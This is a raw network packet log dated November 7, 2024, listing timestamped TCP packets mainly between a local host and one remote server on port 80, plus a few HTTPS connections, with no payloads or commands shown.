Nov 7, 2024 17:25:48.379151106 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379158020 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.379198074 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.379374027 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379384041 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379395008 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379400969 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379410982 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379422903 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379434109 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379434109 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.379450083 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.379462957 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379467010 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.379476070 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379487038 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379498005 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379501104 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.379517078 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379528999 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.379528999 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379544020 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379554033 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.379556894 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379569054 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379580021 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.379589081 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379599094 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379607916 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.379610062 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379621983 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.379625082 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379647970 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.379662991 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.379800081 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379813910 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379826069 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379838943 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379851103 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379865885 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.379885912 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.379942894 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379956007 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379966021 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379976034 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379987955 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.379996061 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.380006075 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.380012035 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.380032063 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.380048990 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.380057096 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.380060911 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.380073071 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.380088091 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.380093098 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.380100012 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.380104065 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.380112886 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.380125046 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.380136967 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.380136967 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.380151033 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.380162001 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.380162954 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.380173922 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.380187035 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.380198002 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.380199909 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.380215883 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.380235910 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.380589962 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.380600929 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.380613089 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.380625010 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.380637884 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.380637884 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.380647898 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.380650043 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.380662918 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.380675077 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.380677938 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.380688906 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.380692005 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.380722046 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.380747080 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.380944967 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.380956888 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.380968094 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.380980968 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.380990028 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.381006956 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.381016970 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.381026030 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.381037951 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.381042957 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.381048918 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.381074905 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.381082058 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.381093979 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.381098986 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.381107092 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.381119013 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.381130934 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.381134987 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.381143093 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.381150961 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.381155968 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.381165981 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.381166935 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.381180048 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.381191015 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.381200075 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.381203890 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.381218910 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.381230116 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.381232023 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.381242037 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.381247044 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.381254911 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.381267071 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.381277084 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.381278038 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.381292105 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.381303072 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.381308079 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.381314039 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.381323099 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.381334066 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.381371975 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.381402016 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.382744074 CET	50001	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:48.382767916 CET	443	50001	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:48.382795095 CET	50001	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:48.382802010 CET	443	50001	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:48.384566069 CET	50000	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:48.384583950 CET	443	50000	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:48.384613991 CET	50000	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:48.384622097 CET	443	50000	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:48.394403934 CET	50006	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:48.394443035 CET	443	50006	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:48.394515038 CET	50006	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:48.395255089 CET	50006	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:48.395266056 CET	443	50006	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:48.395298004 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.395332098 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.395344973 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.395359039 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.395389080 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.395401955 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.395414114 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.395422935 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.395437956 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.395464897 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.397082090 CET	50007	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:48.397111893 CET	443	50007	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:48.397254944 CET	50007	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:48.397378922 CET	50007	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:48.397389889 CET	443	50007	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:48.405205965 CET	443	49999	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:48.405791998 CET	49999	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:48.405828953 CET	443	49999	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:48.405891895 CET	49999	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:48.427329063 CET	443	50002	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:48.429054976 CET	443	50002	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:48.429096937 CET	443	50002	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:48.429109097 CET	50002	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:48.429157972 CET	50002	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:48.433233023 CET	50002	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:48.433248043 CET	443	50002	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:48.433264017 CET	50002	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:48.433269978 CET	443	50002	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:48.437110901 CET	50008	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:48.437155008 CET	443	50008	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:48.437216997 CET	50008	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:48.437886000 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.437901974 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.437915087 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.437962055 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.437995911 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.438050985 CET	50008	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:48.438065052 CET	443	50008	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:48.447225094 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:48.447248936 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:48.447309971 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:48.447324991 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:48.447348118 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:48.447374105 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:48.458941936 CET	50009	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:48.458971977 CET	443	50009	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:48.459166050 CET	50009	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:48.459355116 CET	50009	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:48.459366083 CET	443	50009	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:48.470688105 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.470710039 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.470724106 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.470755100 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.470762014 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.470784903 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.470799923 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.470803022 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.470813990 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.470825911 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.470865965 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.470870018 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.470880985 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.470895052 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.470906973 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.470920086 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.470952034 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.471014023 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471034050 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471045971 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471055031 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.471056938 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471084118 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.471086025 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471100092 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471111059 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471112013 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.471124887 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471154928 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.471179962 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.471265078 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471283913 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471296072 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471307039 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471329927 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.471347094 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471352100 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.471359968 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471373081 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471383095 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.471385956 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471400976 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471409082 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.471414089 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471427917 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471438885 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.471462011 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.471472979 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471476078 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.471503973 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471528053 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471539021 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471544981 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.471553087 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471570015 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471575975 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.471581936 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471596003 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471606970 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471611977 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.471637011 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.471653938 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471664906 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.471668005 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471698999 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471705914 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.471713066 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471733093 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471740961 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.471769094 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.471785069 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.471827030 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471839905 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471849918 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471877098 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.471923113 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.471962929 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471976042 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.471987963 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472001076 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472013950 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.472040892 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472044945 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.472069025 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472080946 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472095966 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.472110987 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472124100 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.472126007 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472138882 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472151041 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472162008 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.472178936 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472192049 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472197056 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.472203016 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472215891 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472229004 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472229958 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.472242117 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.472270966 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.472322941 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472333908 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472347021 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472357988 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472369909 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472374916 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.472393990 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.472404957 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.472454071 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472469091 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472481012 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472486973 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472493887 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472495079 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.472501040 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472507000 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472558022 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.472593069 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472604990 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472634077 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472645044 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472647905 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.472665071 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472671986 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.472695112 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472697020 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.472711086 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472714901 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.472724915 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472735882 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.472750902 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472754002 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.472764015 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472767115 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.472776890 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472785950 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.472789049 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472804070 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.472815990 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472816944 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.472831011 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472841978 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472848892 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.472868919 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.472892046 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.472893000 CET	49911	80	192.168.2.6	95.215.204.182
